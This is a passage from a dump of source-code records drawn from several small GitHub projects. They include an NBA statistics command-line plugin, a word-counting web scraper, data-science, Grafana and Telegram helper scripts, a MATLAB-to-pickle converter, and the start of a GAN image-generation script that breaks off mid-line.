"text": "from nubia import PluginInterface\nfrom nubia.internal.cmdbase import AutoCommand\n\nfrom commands import Team, Player\n\n\nclass PyNbaPlugin(PluginInterface):\n\n def get_commands(self):\n \"\"\"\n The following commands are supported at the moment\n - Team\n - Player\n :return: The list of commands\n \"\"\"\n return [\n AutoCommand(Team),\n AutoCommand(Player)\n ]\n"
},
{
"alpha_fraction": 0.3782021999359131,
"alphanum_fraction": 0.4495455026626587,
"avg_line_length": 28.835617065429688,
"blob_id": "0553f37d562745ecc383a6f497b86c34c783cd80",
"content_id": "480df21ac87256f7a6e1f4343969c8c1580b4b10",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 10891,
"license_type": "permissive",
"max_line_length": 78,
"num_lines": 365,
"path": "/src/constants/teams.py",
"repo_name": "nikhilkuria/andOne",
"src_encoding": "UTF-8",
"text": "\nTEAM_ROSTER_HEADERS = [\"PLAYER\", \"POSITION\", \"HEIGHT\", \"WEIGHT\", \"AGE\"]\n\nTEAMS = {\n 'ATL': {\n 'abbr': 'ATL',\n 'city': 'Atlanta',\n 'code': 'hawks',\n 'conference': 'Eastern',\n 'displayAbbr': 'ATL',\n 'displayConference': 'Eastern',\n 'division': 'Southeast',\n 'id': '1610612737',\n 'name': 'Hawks',\n 'color': 'E2373E',\n 'colors': ['E2373E', '002A5C', 'BAC4CA']\n }, 'BOS': {\n 'abbr': 'BOS',\n 'city': 'Boston',\n 'code': 'celtics',\n 'conference': 'Eastern',\n 'displayAbbr': 'BOS',\n 'displayConference': 'Eastern',\n 'division': 'Atlantic',\n 'id': '1610612738',\n 'name': 'Celtics',\n 'color': '007239',\n 'colors': ['007239', 'AE8445', '982527', '000000']\n }, 'BKN': {\n 'abbr': 'BKN',\n 'city': 'Brooklyn',\n 'code': 'nets',\n 'conference': 'Eastern',\n 'displayAbbr': 'BKN',\n 'displayConference': 'Eastern',\n 'division': 'Atlantic',\n 'id': '1610612751',\n 'name': 'Nets',\n 'color': '000000',\n 'colors': ['000000', 'FFFFFF']\n }, 'CHA': {\n 'abbr': 'CHA',\n 'city': 'Charlotte',\n 'code': 'hornets',\n 'conference': 'Eastern',\n 'displayAbbr': 'CHA',\n 'displayConference': 'Eastern',\n 'division': 'Southeast',\n 'id': '1610612766',\n 'name': 'Hornets',\n 'color': '00848E',\n 'colors': ['00848E', '260F54', 'CCCCCC']\n }, 'CHI': {\n 'abbr': 'CHI',\n 'city': 'Chicago',\n 'code': 'bulls',\n 'conference': 'Eastern',\n 'displayAbbr': 'CHI',\n 'displayConference': 'Eastern',\n 'division': 'Central',\n 'id': '1610612741',\n 'name': 'Bulls',\n 'color': 'C60033',\n 'colors': ['C60033', '000000']\n }, 'CLE': {\n 'abbr': 'CLE',\n 'city': 'Cleveland',\n 'code': 'cavaliers',\n 'conference': 'Eastern',\n 'displayAbbr': 'CLE',\n 'displayConference': 'Eastern',\n 'division': 'Central',\n 'id': '1610612739',\n 'name': 'Cavaliers',\n 'color': '860038',\n 'colors': ['860038', '002D62', 'FDBA31']\n }, 'DAL': {\n 'abbr': 'DAL',\n 'city': 'Dallas',\n 'code': 'mavericks',\n 'conference': 'Western',\n 'displayAbbr': 'DAL',\n 'displayConference': 'Western',\n 'division': 'Southwest',\n 'id': '1610612742',\n 'name': 'Mavericks',\n 'color': '0063AF',\n 'colors': ['0063AF', 'BAC4CA', '000000']\n }, 'DEN': {\n 'abbr': 'DEN',\n 'city': 'Denver',\n 'code': 'nuggets',\n 'conference': 'Western',\n 'displayAbbr': 'DEN',\n 'displayConference': 'Western',\n 'division': 'Northwest',\n 'id': '1610612743',\n 'name': 'Nuggets',\n 'color': '559FD6',\n 'colors': ['559FD6', '006BB7', 'FEA927']\n }, 'DET': {\n 'abbr': 'DET',\n 'city': 'Detroit',\n 'code': 'pistons',\n 'conference': 'Eastern',\n 'displayAbbr': 'DET',\n 'displayConference': 'Eastern',\n 'division': 'Central',\n 'id': '1610612765',\n 'name': 'Pistons',\n 'color': 'EC003D',\n 'colors': ['EC003D', '0058A6', '001D4A']\n }, 'GSW': {\n 'abbr': 'GSW',\n 'city': 'Golden State',\n 'code': 'warriors',\n 'conference': 'Western',\n 'displayAbbr': 'GSW',\n 'displayConference': 'Western',\n 'division': 'Pacific',\n 'id': '1610612744',\n 'name': 'Warriors',\n 'color': '0068B3',\n 'colors': ['0068B3', 'FFC423']\n }, 'HOU': {\n 'abbr': 'HOU',\n 'city': 'Houston',\n 'code': 'rockets',\n 'conference': 'Western',\n 'displayAbbr': 'HOU',\n 'displayConference': 'Western',\n 'division': 'Southwest',\n 'id': '1610612745',\n 'name': 'Rockets',\n 'color': 'C60033',\n 'colors': ['C60033', '000000']\n }, 'IND': {\n 'abbr': 'IND',\n 'city': 'Indiana',\n 'code': 'pacers',\n 'conference': 'Eastern',\n 'displayAbbr': 'IND',\n 'displayConference': 'Eastern',\n 'division': 'Central',\n 'id': '1610612754',\n 'name': 'Pacers',\n 'color': '001D4A',\n 'colors': ['001D4A', 'FEAC2D', 'B0B2B5']\n }, 'LAC': {\n 'abbr': 'LAC',\n 'city': 'Los Angeles',\n 'code': 'clippers',\n 'conference': 'Western',\n 'displayAbbr': 'LAC',\n 'displayConference': 'Western',\n 'division': 'Pacific',\n 'id': '1610612746',\n 'name': 'Clippers',\n 'color': '00559A',\n 'colors': ['00559A', 'EC003D']\n }, 'LAL': {\n 'abbr': 'LAL',\n 'city': 'Los Angeles',\n 'code': 'lakers',\n 'conference': 'Western',\n 'displayAbbr': 'LAL',\n 'displayConference': 'Western',\n 'division': 'Pacific',\n 'id': '1610612747',\n 'name': 'Lakers',\n 'color': 'FEA927',\n 'colors': ['FEA927', '42186E', '000000']\n }, 'MEM': {\n 'abbr': 'MEM',\n 'city': 'Memphis',\n 'code': 'grizzlies',\n 'conference': 'Western',\n 'displayAbbr': 'MEM',\n 'displayConference': 'Western',\n 'division': 'Southwest',\n 'id': '1610612763',\n 'name': 'Grizzlies',\n 'color': '182A48',\n 'colors': ['182A48', '4C78AD', 'FEA927', 'AAC8E5']\n }, 'MIA': {\n 'abbr': 'MIA',\n 'city': 'Miami',\n 'code': 'heat',\n 'conference': 'Eastern',\n 'displayAbbr': 'MIA',\n 'displayConference': 'Eastern',\n 'division': 'Southeast',\n 'id': '1610612748',\n 'name': 'Heat',\n 'color': '98002E',\n 'colors': ['98002E', 'F88D1D', '000000']\n }, 'MIL': {\n 'abbr': 'MIL',\n 'city': 'Milwaukee',\n 'code': 'bucks',\n 'conference': 'Eastern',\n 'displayAbbr': 'MIL',\n 'displayConference': 'Eastern',\n 'division': 'Central',\n 'id': '1610612749',\n 'name': 'Bucks',\n 'color': 'C41230',\n 'colors': ['C41230', '003815', 'BAC4CA']\n }, 'MIN': {\n 'abbr': 'MIN',\n 'city': 'Minnesota',\n 'code': 'timberwolves',\n 'conference': 'Western',\n 'displayAbbr': 'MIN',\n 'displayConference': 'Western',\n 'division': 'Northwest',\n 'id': '1610612750',\n 'name': 'Timberwolves',\n 'color': '#003F70',\n 'colors': ['003F70', '006F42', 'BAC4CA', 'FFE211', 'DE2032', '000000']\n }, 'NOP': {\n 'abbr': 'NOP',\n 'city': 'New Orleans',\n 'code': 'pelicans',\n 'conference': 'Western',\n 'displayAbbr': 'NOP',\n 'displayConference': 'Western',\n 'division': 'Southwest',\n 'id': '1610612740',\n 'name': 'Pelicans',\n 'color': '#002B5C',\n 'colors': ['002B5C', 'B4975A', 'E13A3E']\n }, 'NYK': {\n 'abbr': 'NYK',\n 'city': 'New York',\n 'code': 'knicks',\n 'conference': 'Eastern',\n 'displayAbbr': 'NYK',\n 'displayConference': 'Eastern',\n 'division': 'Atlantic',\n 'id': '1610612752',\n 'name': 'Knicks',\n 'color': 'F3571F',\n 'colors': ['F3571F', '0067B2', 'BAC4CA']\n }, 'OKC': {\n 'abbr': 'OKC',\n 'city': 'Oklahoma City',\n 'code': 'thunder',\n 'conference': 'Western',\n 'displayAbbr': 'OKC',\n 'displayConference': 'Western',\n 'division': 'Northwest',\n 'id': '1610612760',\n 'name': 'Thunder',\n 'color': 'FDBB30',\n 'colors': ['FDBB30', 'F05133', '007DC3', '002D62']\n }, 'ORL': {\n 'abbr': 'ORL',\n 'city': 'Orlando',\n 'code': 'magic',\n 'conference': 'Eastern',\n 'displayAbbr': 'ORL',\n 'displayConference': 'Eastern',\n 'division': 'Southeast',\n 'id': '1610612753',\n 'name': 'Magic',\n 'color': '006BB7',\n 'colors': ['006BB7', 'BAC4CA', '000000']\n }, 'PHI': {\n 'abbr': 'PHI',\n 'city': 'Philadelphia',\n 'code': 'sixers',\n 'conference': 'Eastern',\n 'displayAbbr': 'PHI',\n 'displayConference': 'Eastern',\n 'division': 'Atlantic',\n 'id': '1610612755',\n 'name': 'Sixers',\n 'color': 'EC003D',\n 'colors': ['EC003D', '00559A', 'BAC4CA']\n }, 'PHX': {\n 'abbr': 'PHX',\n 'city': 'Phoenix',\n 'code': 'suns',\n 'conference': 'Western',\n 'displayAbbr': 'PHX',\n 'displayConference': 'Western',\n 'division': 'Pacific',\n 'id': '1610612756',\n 'name': 'Suns',\n 'color': 'E45F1F',\n 'colors': ['E45F1F', 'F89F1B', 'BAC4CA', '000000']\n }, 'POR': {\n 'abbr': 'POR',\n 'city': 'Portland',\n 'code': 'blazers',\n 'conference': 'Western',\n 'displayAbbr': 'POR',\n 'displayConference': 'Western',\n 'division': 'Northwest',\n 'id': '1610612757',\n 'name': 'Trail Blazers',\n 'color': 'DE2032',\n 'colors': ['DE2032', 'BAC4CA', '000000']\n }, 'SAC': {\n 'abbr': 'SAC',\n 'city': 'Sacramento',\n 'code': 'kings',\n 'conference': 'Western',\n 'displayAbbr': 'SAC',\n 'displayConference': 'Western',\n 'division': 'Pacific',\n 'id': '1610612758',\n 'name': 'Kings',\n 'color': '542E91',\n 'colors': ['542E91', 'BAC4CA', '000000']\n }, 'SAS': {\n 'abbr': 'SAS',\n 'city': 'San Antonio',\n 'code': 'spurs',\n 'conference': 'Western',\n 'displayAbbr': 'SAS',\n 'displayConference': 'Western',\n 'division': 'Southwest',\n 'id': '1610612759',\n 'name': 'Spurs',\n 'color': '#BA24CA',\n 'colors': ['BA24CA', '000000']\n }, 'TOR': {\n 'abbr': 'TOR',\n 'city': 'Toronto',\n 'code': 'raptors',\n 'conference': 'Eastern',\n 'displayAbbr': 'TOR',\n 'displayConference': 'Eastern',\n 'division': 'Atlantic',\n 'id': '1610612761',\n 'name': 'Raptors',\n 'color': 'C60033',\n 'colors': ['C60033', 'BAC4CA']\n }, 'UTA': {\n 'abbr': 'UTA',\n 'city': 'Utah',\n 'code': 'jazz',\n 'conference': 'Western',\n 'displayAbbr': 'UTA',\n 'displayConference': 'Western',\n 'division': 'Northwest',\n 'id': '1610612762',\n 'name': 'Jazz',\n 'color': '#002A5C',\n 'colors': ['002A5C', '004812', 'FCB034', 'BACA4CA']\n }, 'WAS': {\n 'abbr': 'WAS',\n 'city': 'Washington',\n 'code': 'wizards',\n 'conference': 'Eastern',\n 'displayAbbr': 'WAS',\n 'displayConference': 'Eastern',\n 'division': 'Southeast',\n 'id': '1610612764',\n 'name': 'Wizards',\n 'color': '002A5B',\n 'colors': ['002A5B', 'E21836', 'BAC4CA']\n }\n}\n"
},
{
"alpha_fraction": 0.5760135054588318,
"alphanum_fraction": 0.5764358043670654,
"avg_line_length": 38.43333435058594,
"blob_id": "d75a2325f785d3ebf19e7eb016faf0e450352ee5",
"content_id": "228e1f3758556ac38007e4ec2825c688e459d340",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2368,
"license_type": "permissive",
"max_line_length": 113,
"num_lines": 60,
"path": "/src/commands/player.py",
"repo_name": "nikhilkuria/andOne",
"src_encoding": "UTF-8",
"text": "import logging\nfrom typing import List\n\nfrom nubia import command, argument\n\nfrom players import player_stats, PlayerNotFoundException, MultiplePlayersFoundException\nfrom visual import stacked_graph\n\nlogger = logging.getLogger('pynba.command.player')\n\n\n@command\nclass Player:\n \"\"\"Use this to see stats and performance of your favourite player\"\"\"\n\n @command\n @argument(\"player_name\", description=\"name of the player \", positional=True)\n @argument(\"stat_names\", description=\"stats\", choices=[\n \"GAMES PLAYED\",\n \"GAMES STARTED\",\n \"MINUTES\",\n \"AVG POINTS\",\n \"AVG ASSISTS\",\n \"AVG REBOUNDS\",\n \"AVG STEALS\",\n \"AVG BLOCKS\",\n \"AVG TURNOVERS\",\n \"AVG PERSONAL FOULS\"\n ])\n def year_on_year(self, player_name: str, stat_names: List[str] = None):\n \"\"\"\n print the player's year on year statistics\n \"\"\"\n first_name, last_name = player_name.split(sep=\" \", maxsplit=1)\n\n try:\n logger.info('year on year action called on first_name = {first_name} and last_name = {last_name}'\n .format(first_name=first_name,\n last_name=last_name))\n\n player_yoy = player_stats.get_player_yoy_stats(first_name, last_name)\n if stat_names:\n for stat_name in stat_names:\n stats = player_yoy[stat_name]\n print(stacked_graph.build_stacked_graph(list(stats.keys()), list(stats.values()), stat_name))\n else:\n for stat_name, stats in player_yoy.items():\n print(stacked_graph.build_stacked_graph(list(stats.keys()), list(stats.values()), stat_name))\n except PlayerNotFoundException:\n error_message = 'No player found for the given name, {first_name} {last_name}'\\\n .format(first_name=first_name,\n last_name=last_name)\n logger.error(error_message)\n print(error_message)\n except MultiplePlayersFoundException:\n error_message = 'Multiple players found for the given name, {first_name} {last_name}'\\\n .format(first_name=first_name,\n last_name=last_name)\n logger.error(error_message)\n print(error_message)\n\n\n"
},
{
"alpha_fraction": 0.6753246784210205,
"alphanum_fraction": 0.6753246784210205,
"avg_line_length": 37,
"blob_id": "da6472fdaaa58c00b07eb174c9c5c51e2d62653e",
"content_id": "9f4b87f8de07e4730e7614985d0e5de6bc79a3e8",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Makefile",
"length_bytes": 77,
"license_type": "permissive",
"max_line_length": 69,
"num_lines": 2,
"path": "/Makefile",
"repo_name": "nikhilkuria/andOne",
"src_encoding": "UTF-8",
"text": "\ntest:\n py.test tests --cov=src --cov-report term-missing --fulltrace -vv\n"
},
{
"alpha_fraction": 0.6521739363670349,
"alphanum_fraction": 0.6521739363670349,
"avg_line_length": 25.95652198791504,
"blob_id": "442bad04348d45aa7cbd79bdd6033af11332170b",
"content_id": "14d1688b0d73ef92094ea703990c18ea367ea822",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 621,
"license_type": "permissive",
"max_line_length": 78,
"num_lines": 23,
"path": "/src/visual/tables.py",
"repo_name": "nikhilkuria/andOne",
"src_encoding": "UTF-8",
"text": "from typing import List, Type\n\nfrom beautifultable import BeautifulTable\n\n\ndef build_tables_from_json(columns: List, data: List) -> Type[BeautifulTable]:\n \"\"\"\n Builds a table string for given header and contents\n :param columns: The table header as a list\n :param data: The contents as a list of dicts\n :return: The string representation of a table\n \"\"\"\n table = BeautifulTable()\n table.column_headers = columns\n\n for entry in data:\n row = []\n for column in columns:\n value = entry[column]\n row.append(value)\n table.append_row(row)\n\n return table\n\n"
},
{
"alpha_fraction": 0.8666666746139526,
"alphanum_fraction": 0.8666666746139526,
"avg_line_length": 59,
"blob_id": "6afa58a8e00639d24d7bcbc8113c8bddecb3776e",
"content_id": "d02424913e6f399bd26b390890f71333bae75c23",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 60,
"license_type": "permissive",
"max_line_length": 59,
"num_lines": 1,
"path": "/src/teams/__init__.py",
"repo_name": "nikhilkuria/andOne",
"src_encoding": "UTF-8",
"text": "from .team_not_found_exception import TeamNotFoundException\n"
},
{
"alpha_fraction": 0.7884615659713745,
"alphanum_fraction": 0.7884615659713745,
"avg_line_length": 24.5,
"blob_id": "6826035fe19bde0b0f6e1557783458be8663d2e6",
"content_id": "43491f11bfb6408b9e5f78748df0b1b4a0506aba",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 52,
"license_type": "permissive",
"max_line_length": 41,
"num_lines": 2,
"path": "/src/players/player_not_found_exception.py",
"repo_name": "nikhilkuria/andOne",
"src_encoding": "UTF-8",
"text": "\nclass PlayerNotFoundException(Exception):\n pass\n"
}
] | 24 |
michaelosky/diction | https://github.com/michaelosky/diction | 1144795449d0bda4dd439116b5e84e3d031ea453 | d7a0ae9e59a75e42022c7e0d92ed47b2100e7505 | de2b14916abe69a0e11504d8b11c016e0d594bc8 | refs/heads/master | 2018-01-10T10:19:32.562960 | 2015-11-25T23:56:31 | 2015-11-25T23:56:31 | 45,634,838 | 0 | 1 | null | null | null | null | null | [
{
"alpha_fraction": 0.6380455493927002,
"alphanum_fraction": 0.650379478931427,
"avg_line_length": 25.683544158935547,
"blob_id": "57f2f37210693fe879fa37babd96bd63a7501d62",
"content_id": "651f8a1819f8ab699b1f95573d32f2c81c1607ea",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2114,
"license_type": "permissive",
"max_line_length": 86,
"num_lines": 79,
"path": "/code.py",
"repo_name": "michaelosky/diction",
"src_encoding": "UTF-8",
"text": "# !/usr/bin/python\n# -*- coding: utf-8 -*-\n# Declare UTF-8 encoding in source code\n\n# Disable Pylint ascii encoding warning\n# pylint: disable=W0512\n\n# Disable Pylint variable_name and method_name convention method\n# pylint: disable=C0103\n# pylint: disable=C0111\n\nfrom bs4 import BeautifulSoup\nimport urllib2\nimport operator\n\nCHARS_TO_REPLACE = ['\"\"', '|', '?', '&', '.', ',', ')', '(', '!', '©', '-', '—',\n ':', '×', '…']\n\nWordCount = {}\nPageQueue = []\n\n\ndef buildUrl(domain):\n return \"http://www.\" + domain + \".com\"\n\n\ndef replaceSpecial(string):\n for char in CHARS_TO_REPLACE:\n string = string.replace(char, ' ')\n return string\n\n\ndef removeCode(html):\n while html.findAll('script'):\n html.script.decompose()\n while html.findAll('style'):\n html.style.decompose()\n return html\n\n\ndef prettyPrint(wordsDict):\n dictAsList = sorted(wordsDict.items(), key=operator.itemgetter(1))\n for pair in dictAsList:\n print pair[0].ljust(10) + str(pair[1])\n\ndef getHtml(url):\n request = urllib2.Request(url, headers={'User-Agent' : \"Magic Browser\"})\n return BeautifulSoup(urllib2.urlopen(request), 'html.parser')\n\ndef getLinks(html):\n for link in html.findAll('a'):\n if link.has_attr(\"href\"):\n print link['href']\n\ndef countWords(htmlText):\n wordsMd = htmlText.split('\\n') # split by line\n wordsMd = [line.split() for line in wordsMd if line.strip() != ''] # split by name\n words = [word for line in wordsMd for word in line] # flatten to one dimension\n global WordCount\n for word in words:\n word = word.lower()\n if word in WordCount:\n WordCount[word] += 1\n else:\n WordCount[word] = 1\n\n\nrawHtml = getHtml(buildUrl(\"berniesanders\"))\ngetLinks(rawHtml)\n\n# remove all code tags and grab content between non-code tags\ntextFromHtml = removeCode(rawHtml).getText()\n\n# remove leading and trailing whitespace and replace special characters\ntextFromHtmlTrimmed = replaceSpecial(textFromHtml.encode('utf-8').strip('\\t\\r\\n'))\n\ncountWords(textFromHtmlTrimmed)\n\nprettyPrint(WordCount)\n"
},
{
"alpha_fraction": 0.8035714030265808,
"alphanum_fraction": 0.8035714030265808,
"avg_line_length": 55,
"blob_id": "9ada43b36cb7a8b37bdf6065878c543b4738d7d4",
"content_id": "4f270756634a7674e6b45d7cd99772e7b250f5f4",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 112,
"license_type": "permissive",
"max_line_length": 101,
"num_lines": 2,
"path": "/README.md",
"repo_name": "michaelosky/diction",
"src_encoding": "UTF-8",
"text": "# diction\nPython web scraper that crawls along a domain and kicks out data about how frequently words are used.\n"
}
] | 2 |
johnnytardin/learning | https://github.com/johnnytardin/learning | 15c32fb089a0fb3e34310cd7427cd52d5fdcf443 | 295eb6a570c0a4a3205aed883252ee08be0dc1c3 | bc4fa235c759a2dc6c0d75f221786f64eef7ce68 | refs/heads/master | 2021-06-12T01:43:49.192189 | 2019-02-06T22:21:09 | 2019-02-06T22:21:09 | 169,430,615 | 1 | 0 | Apache-2.0 | 2019-02-06T15:46:12 | 2019-02-07T13:37:41 | 2021-03-29T18:53:49 | Python | [
{
"alpha_fraction": 0.6368286609649658,
"alphanum_fraction": 0.6751918196678162,
"avg_line_length": 23.4375,
"blob_id": "7d7acc6e869f89cf6f03e2f1af1e13eae6d161cd",
"content_id": "dcd5311942da72587bdb4efd6c62dd7e8aada09e",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 391,
"license_type": "permissive",
"max_line_length": 63,
"num_lines": 16,
"path": "/data_science/remove_outliers.py",
"repo_name": "johnnytardin/learning",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python3\nfrom random import randint\n\nimport numpy as np\n\nvalues = [randint(0, 90000) for p in range(0, 120)]\n\nvalues_series = np.array(values)\n\nmean = np.mean(values_series, axis=0)\nstandard_d = np.std(values_series, axis=0)\n\nnew_data = [x for x in values if (x > mean - 2 * standard_d)]\nnew_data = [x for x in new_data if (x < mean + 2 * standard_d)]\n\nprint(sorted(new_data))\n"
},
{
"alpha_fraction": 0.5487571954727173,
"alphanum_fraction": 0.6367112994194031,
"avg_line_length": 25.149999618530273,
"blob_id": "30233f6744c64deea3e767de41fa9a05b7d440a7",
"content_id": "c6762897b6613957d3a85e6e544f670860ab2a57",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 523,
"license_type": "permissive",
"max_line_length": 78,
"num_lines": 20,
"path": "/grafana/download_rendered_graph.py",
"repo_name": "johnnytardin/learning",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python3\nimport io\n\nfrom requests import get\n\n\ndef download(url):\n '''\n Doc: http://docs.grafana.org/reference/sharing/#direct-link-rendered-image\n '''\n image = get(url, stream=True)\n return io.BytesIO(image.content)\n\n\nif __name__ == '__main__':\n url = 'http://play.grafana.org/render/dashboard-solo/db/' \\\n 'grafana-play-home?orgId=1&panelId=4&from=14992721' \\\n '91563&to=1499279391563&width=1000&height=500&tz=UTC' \\\n '%2B02%3A00&timeout=5000'\n download(url)\n"
},
{
"alpha_fraction": 0.6105100512504578,
"alphanum_fraction": 0.6429675221443176,
"avg_line_length": 22.10714340209961,
"blob_id": "e5cb871c3981486b7fe943202f2458292f158fc4",
"content_id": "4171936bb1555b1fcd30ddea95dcfc0bb83ca713",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 647,
"license_type": "permissive",
"max_line_length": 79,
"num_lines": 28,
"path": "/telegram/send_simple_message.py",
"repo_name": "johnnytardin/learning",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python3\nfrom datetime import datetime\nimport time\n\nimport telegram\n\n# https://core.telegram.org/bots#generating-an-authorization-token\ntoken = ''\nbot = telegram.Bot(token=token)\n\n\ndef send(msg, chat_id):\n \"\"\"\n send a specific message to user.\n\n chat_id: id to send a sendMessage.\n Example group: https://web.telegram.org/#/im?p=g111111111, chat_id is:\n '-111111111'\n \"\"\"\n bot.sendMessage(chat_id=chat_id, text=msg)\n\n\nif __name__ == '__main__':\n chat_id = ''\n while True:\n message = f'Current date and UTC time: {datetime.utcnow().isoformat()}'\n send(message, chat_id)\n time.sleep(30)\n"
}
] | 3 |
vikashvverma/dlm | https://github.com/vikashvverma/dlm | fe9f475fdff9d7eebe0a6bfaad851abb6cf72934 | 32d4bf5fc0a96078c4afd965a62d90ee1b9c38ec | 666b639f75c22bfd817ef3fb973e9e5ef4d09d3c | refs/heads/main | 2023-05-14T10:34:06.898109 | 2021-06-05T06:12:54 | 2021-06-05T06:12:54 | 374,035,835 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6788285970687866,
"alphanum_fraction": 0.6817090511322021,
"avg_line_length": 35.19643020629883,
"blob_id": "1cfbfc02a07624c7775940ac63a05fe0671f9cd1",
"content_id": "924b1e3d2bbbaf198083a5480bfac26582e17b68",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2083,
"license_type": "no_license",
"max_line_length": 154,
"num_lines": 56,
"path": "/utilities/convert_mat_to_pkl.py",
"repo_name": "vikashvverma/dlm",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/python3\r\nimport pickle\r\nimport scipy.io\r\nimport argparse\r\nimport sys\r\nimport logging\r\nimport os\r\n\r\nparser = argparse.ArgumentParser(description=\"Parse matlab (.mat) files and export them as pickle files with the same name (.pkl)\")\r\nparser.add_argument(\"path\", help=\"matlab file path\", type=str)\r\nparser.add_argument(\"-v\", \"--verbosity\", action=\"count\", help=\"Increase output verbosity (Can be specified multiple times for more verbosity)\", default=0)\r\nparser.add_argument(\"-f\", \"--force\", action=\"store_true\", help=\"Force, overwrite any files with conflicts\")\r\nparser.add_argument(\"-d\", \"--dry-run\", action=\"store_true\", help=\"Dry run, wont modify any files\")\r\nargs = parser.parse_args()\r\n\r\ndef save_object(obj, filename):\r\n\twith open(filename, 'wb') as outfile:\r\n\t\tpickle.dump(obj, outfile, pickle.HIGHEST_PROTOCOL)\r\n\r\ndef convert(path):\r\n\tlogging.info(\"Loading matfile to memory\")\r\n\tmatfile = scipy.io.loadmat(path, struct_as_record=False, squeeze_me=True)\r\n\tdir_path = os.path.dirname(path)\r\n\tfilename,extension= os.path.splitext(os.path.basename(path))\r\n\tnewfile = os.path.join(dir_path, filename+'.pkl')\r\n\t\r\n\tif extension != \".mat\":\r\n\t\tsys.exit(\"File extension not .mat, quitting...\")\r\n\r\n\tif not args.dry_run:\r\n\t\tlogging.info(\"Saving picklefile: {}\".format(newfile))\r\n\t\tif os.path.exists(newfile):\r\n\t\t\tif args.force:\r\n\t\t\t\tlogging.info(\"File exists, but force argument specified. Overwriting...\")\r\n\t\t\t\tsave_object(matfile, newfile)\r\n\t\t\telse:\r\n\t\t\t\tsys.exit(\"File exists already, exiting... (specifiy --force if you want to overwrite)\")\r\n\t\telse:\r\n\t\t\tsave_object(matfile, newfile)\r\n\telse:\r\n\t\tlogging.info(\"--dry-run specified, quitting...\")\r\n\t\tsys.exit(0)\r\n\r\nif __name__ == '__main__':\r\n loglevel = logging.ERROR\r\n if args.verbosity == 1:\r\n loglevel = logging.WARNING\r\n elif args.verbosity == 2:\r\n loglevel = logging.INFO\r\n elif args.verbosity == 3:\r\n loglevel = logging.DEBUG\r\n\r\n logging.basicConfig(format='%(levelname)s:%(message)s', level=loglevel)\r\n logging.info(\"Entered path {}\".format(args.path))\r\n\r\n convert(args.path)\r\n"
},
{
"alpha_fraction": 0.6730267405509949,
"alphanum_fraction": 0.6964285969734192,
"avg_line_length": 31.879356384277344,
"blob_id": "7efb0397ce83394f3e4c2f7ff14dcd59dcc595cf",
"content_id": "a8f9581b61ec94564f2886bc02dc4db16118eb72",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 12264,
"license_type": "no_license",
"max_line_length": 183,
"num_lines": 373,
"path": "/utilities/gan/generate_images.py",
"repo_name": "vikashvverma/dlm",
"src_encoding": "UTF-8",
"text": "# Generate images from celebrities from original looking images\nfrom utilities.data_handler import get_imdb_data, split_data, get_data, get_classless_images, equal_shuffle\n# from utilities.multi_gpu import make_parallel\nfrom utilities.csv_plot import plot_csv\nimport argparse\nimport logging\nimport math\nimport numpy as np\nimport cv2\nimport pickle\nimport os\nimport time\nimport sys\n# from keras.utils import np_utils\nfrom tqdm import tqdm, trange\nimport numpy as np\n# from keras import backend as K\nfrom keras.utils import np_utils\nimport keras.models as models\nfrom keras.layers import Input,merge\nfrom keras.layers.core import Reshape,Dense,Dropout,Activation,Flatten\nfrom keras.layers.advanced_activations import LeakyReLU\nfrom keras.activations import *\nfrom keras.layers.wrappers import TimeDistributed\nfrom keras.layers.noise import GaussianNoise\nfrom keras.layers.convolutional import Convolution2D, MaxPooling2D, ZeroPadding2D, UpSampling2D, Deconvolution2D\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.layers.recurrent import LSTM\nfrom keras.regularizers import *\nfrom keras.layers.normalization import *\nfrom keras.optimizers import *\nfrom keras.models import Model\nfrom collections import OrderedDict\nimport random\nimport operator\n\n# Reproducibility \nnp.random.seed(2000)\nrandom.seed(2000)\n\nparser = argparse.ArgumentParser(description=\"Generate images with neural networks\")\nparser.add_argument(\"-b\", \"--batch-size\", help=\"specify batch size\")\nparser.add_argument(\"-v\", \"--verbosity\", action=\"count\", help=\"Increase output verbosity (Can be specified multiple times for more verbosity)\", default=0)\nparser.add_argument(\"-s\", \"--skipto\", help=\"Skip to the specified index (starting with 0)\", type=int)\nargs = parser.parse_args()\nloglevel = logging.ERROR\n\nif args.verbosity == 1:\n\tloglevel = logging.WARNING\nelif args.verbosity == 2:\n\tloglevel = logging.INFO\nelif args.verbosity == 3:\n\tloglevel = logging.DEBUG\n\nlogging.basicConfig(format='%(levelname)s:%(message)s', level=loglevel)\n\ngan_data_path = \"data/gan_data/models\"\ndate_str = time.strftime(\"%d-%m-%Y_%H-%M-%S\")\nsave_dir = \"{}/{}\".format(gan_data_path, date_str)\nos.makedirs(save_dir, exist_ok=True)\n\nif not args.skipto:\n\tskip_to_index = -1\nelse:\n\tskip_to_index = args.skipto\n\ndef create_collage(images, path='collage.jpg'):\n\tN = len(images)\n\trows = int(math.floor(math.sqrt(N)))\n\tcols = int(N / rows)\n\t# Add one column if N is not perfect square\n\tif N != 